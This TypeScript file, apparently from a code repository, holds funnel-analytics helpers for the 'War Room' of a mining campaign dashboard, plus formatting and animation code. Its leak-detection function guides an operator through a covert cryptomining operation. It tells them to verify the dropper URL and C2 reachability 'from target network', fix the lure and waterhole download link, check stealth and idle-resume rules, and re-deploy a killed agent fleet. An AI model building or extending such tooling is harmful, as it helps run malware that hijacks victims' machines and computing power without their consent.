Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
232 lines
7.2 KiB
TypeScript
232 lines
7.2 KiB
TypeScript
/** War Room funnel helpers for Emberwake campaign dashboard. */
|
||
|
||
export interface WarRoomCampaign {
|
||
campaign: string;
|
||
hits: number;
|
||
downloads: number;
|
||
first_beacon?: number;
|
||
mining?: number;
|
||
agents: number;
|
||
online: number;
|
||
hashrate: number;
|
||
conversion_pct: number;
|
||
daily_hits: number[];
|
||
last_activity?: string;
|
||
pins?: string[];
|
||
}
|
||
|
||
export interface WarRoomResponse {
|
||
generated_at: string;
|
||
days: number;
|
||
campaigns: WarRoomCampaign[];
|
||
}
|
||
|
||
export type FunnelStageId = 'hits' | 'downloads' | 'first_beacon' | 'mining' | 'hashrate';
|
||
|
||
export interface FunnelStage {
|
||
id: FunnelStageId;
|
||
label: string;
|
||
value: number;
|
||
display: string;
|
||
/** Conversion from previous stage (0 for first stage). */
|
||
rateFromPrev: number | null;
|
||
}
|
||
|
||
export type FunnelLeakSeverity = 'warn' | 'critical';
|
||
|
||
export interface FunnelLeak {
|
||
stage: string;
|
||
severity: FunnelLeakSeverity;
|
||
message: string;
|
||
action: string;
|
||
}
|
||
|
||
/** Agents ÷ hits × 100, rounded to one decimal. */
|
||
export function conversionPct(agents: number, hits: number): number {
|
||
if (hits <= 0) return 0;
|
||
return Math.round((agents / hits) * 1000) / 10;
|
||
}
|
||
|
||
/** Stage-to-stage conversion %, rounded to one decimal. */
|
||
export function stageConversionPct(to: number, from: number): number {
|
||
if (from <= 0) return 0;
|
||
return Math.round((to / from) * 1000) / 10;
|
||
}
|
||
|
||
/** Resolved first-beacon count (falls back to agents for older payloads). */
|
||
export function firstBeaconCount(c: WarRoomCampaign): number {
|
||
if (c.first_beacon != null) return c.first_beacon;
|
||
return c.agents ?? 0;
|
||
}
|
||
|
||
/** Resolved mining count (agents with hashrate > 0). */
|
||
export function miningCount(c: WarRoomCampaign): number {
|
||
if (c.mining != null) return c.mining;
|
||
return c.hashrate > 0 ? 1 : 0;
|
||
}
|
||
|
||
/** Left-to-right funnel stages for a campaign card. */
|
||
export function funnelStages(c: WarRoomCampaign): FunnelStage[] {
|
||
const beacon = firstBeaconCount(c);
|
||
const mining = miningCount(c);
|
||
const hits = c.hits ?? 0;
|
||
const downloads = c.downloads ?? 0;
|
||
|
||
return [
|
||
{ id: 'hits', label: 'Hits', value: hits, display: String(hits), rateFromPrev: null },
|
||
{
|
||
id: 'downloads',
|
||
label: 'Downloads',
|
||
value: downloads,
|
||
display: String(downloads),
|
||
rateFromPrev: stageConversionPct(downloads, hits),
|
||
},
|
||
{
|
||
id: 'first_beacon',
|
||
label: 'First beacon',
|
||
value: beacon,
|
||
display: String(beacon),
|
||
rateFromPrev: stageConversionPct(beacon, downloads),
|
||
},
|
||
{
|
||
id: 'mining',
|
||
label: 'Mining',
|
||
value: mining,
|
||
display: String(mining),
|
||
rateFromPrev: stageConversionPct(mining, beacon),
|
||
},
|
||
{
|
||
id: 'hashrate',
|
||
label: 'Hashrate',
|
||
value: c.hashrate ?? 0,
|
||
display: formatHashrate(c.hashrate),
|
||
rateFromPrev: mining > 0 && (c.hashrate ?? 0) > 0 ? 100 : stageConversionPct(c.hashrate > 0 ? 1 : 0, mining),
|
||
},
|
||
];
|
||
}
|
||
|
||
/** Max pipe fill width (0–100) relative to funnel entry hits. */
|
||
export function funnelPipeWidth(stageValue: number, hits: number, isHashrate = false): number {
|
||
if (isHashrate) {
|
||
return stageValue > 0 ? 100 : 8;
|
||
}
|
||
if (hits <= 0) return stageValue > 0 ? 100 : 8;
|
||
return Math.max(8, Math.round((stageValue / hits) * 100));
|
||
}
|
||
|
||
/**
|
||
* Detect funnel leaks — actionable callouts when a stage drops sharply.
|
||
* Returns highest-severity leaks first.
|
||
*/
|
||
export function detectFunnelLeaks(c: WarRoomCampaign): FunnelLeak[] {
|
||
const hits = c.hits ?? 0;
|
||
const downloads = c.downloads ?? 0;
|
||
const beacon = firstBeaconCount(c);
|
||
const mining = miningCount(c);
|
||
const leaks: FunnelLeak[] = [];
|
||
|
||
if (hits >= 50 && beacon === 0) {
|
||
leaks.push({
|
||
stage: 'hits→beacon',
|
||
severity: 'critical',
|
||
message: `${hits} hits but zero agents — funnel dead before beacon.`,
|
||
action: 'Verify dropper URL, install script, and C2 reachability from target network.',
|
||
});
|
||
} else if (hits >= 20 && downloads === 0) {
|
||
leaks.push({
|
||
stage: 'hits→downloads',
|
||
severity: 'warn',
|
||
message: `${hits} page hits with no downloads.`,
|
||
action: 'Check lure CTA, blocked hosts, or broken /get link on the waterhole.',
|
||
});
|
||
}
|
||
|
||
if (downloads >= 5 && beacon === 0) {
|
||
leaks.push({
|
||
stage: 'downloads→beacon',
|
||
severity: 'critical',
|
||
message: `${downloads} downloads but no first beacon.`,
|
||
action: 'Worker may fail install — confirm server URL, TLS, and agent binary for target OS.',
|
||
});
|
||
}
|
||
|
||
if (beacon >= 3 && mining === 0) {
|
||
leaks.push({
|
||
stage: 'beacon→mining',
|
||
severity: 'warn',
|
||
message: `${beacon} agents connected but none mining.`,
|
||
action: 'Check pool/wallet in build, idle policy, GPU drivers, or Crucible schedule.',
|
||
});
|
||
}
|
||
|
||
if (beacon > 0 && mining > 0 && (c.hashrate ?? 0) <= 0 && (c.online ?? 0) === 0) {
|
||
leaks.push({
|
||
stage: 'mining→hashrate',
|
||
severity: 'warn',
|
||
message: 'Agents mined before but fleet is offline with zero hashrate.',
|
||
action: 'Fleet may have been killed — re-deploy or check stealth / idle resume rules.',
|
||
});
|
||
}
|
||
|
||
const order: Record<FunnelLeakSeverity, number> = { critical: 0, warn: 1 };
|
||
leaks.sort((a, b) => order[a.severity] - order[b.severity]);
|
||
return leaks;
|
||
}
|
||
|
||
/** Compact hashrate for table cells (H/s). */
|
||
export function formatHashrate(hs: number): string {
|
||
if (!hs || hs <= 0) return '—';
|
||
if (hs >= 1_000_000) return `${(hs / 1_000_000).toFixed(2)} MH/s`;
|
||
if (hs >= 1_000) return `${(hs / 1_000).toFixed(1)} kH/s`;
|
||
return `${Math.round(hs)} H/s`;
|
||
}
|
||
|
||
/** Max value in a daily hits series (for sparkline scaling). */
|
||
export function sparklineMax(values: number[]): number {
|
||
if (!values.length) return 1;
|
||
return Math.max(1, ...values);
|
||
}
|
||
|
||
/** Inline height % for CSS bar sparkline (0–100). */
|
||
export function sparklineBarHeight(value: number, max: number): number {
|
||
if (max <= 0 || value <= 0) return 4;
|
||
return Math.max(8, Math.round((value / max) * 100));
|
||
}
|
||
|
||
/** Compact delta label for odometer tick-ups (null when unchanged). */
|
||
export function formatOdometerDelta(prev: number, next: number): string | null {
|
||
const delta = next - prev;
|
||
if (delta === 0 || !Number.isFinite(delta)) return null;
|
||
const sign = delta > 0 ? '+' : '−';
|
||
const abs = Math.abs(delta);
|
||
if (abs >= 1_000_000) return `${sign}${(abs / 1_000_000).toFixed(1)}M`;
|
||
if (abs >= 10_000) return `${sign}${(abs / 1_000).toFixed(1)}k`;
|
||
if (Number.isInteger(abs) || abs >= 100) return `${sign}${Math.round(abs)}`;
|
||
return `${sign}${abs.toFixed(1)}`;
|
||
}
|
||
|
||
/** Stagger delay (ms) for funnel card stage animations. */
|
||
export function staggerDelayMs(cardIndex: number, itemIndex: number, baseMs = 45): number {
|
||
return cardIndex * 110 + itemIndex * baseMs;
|
||
}
|
||
|
||
/** Eased tick duration scales with magnitude of change. */
|
||
export function odometerDurationMs(delta: number): number {
|
||
const abs = Math.abs(delta);
|
||
if (abs <= 3) return 380;
|
||
if (abs <= 25) return 560;
|
||
if (abs <= 200) return 720;
|
||
return 920;
|
||
}
|
||
|
||
/** Cubic ease-out for odometer interpolation (0 → 1). */
|
||
export function odometerEase(t: number): number {
|
||
const clamped = Math.min(1, Math.max(0, t));
|
||
return 1 - (1 - clamped) ** 3;
|
||
}
|
||
|
||
/** Interpolate between two numeric endpoints with odometer easing. */
|
||
export function odometerLerp(from: number, to: number, progress: number): number {
|
||
return from + (to - from) * odometerEase(progress);
|
||
}
|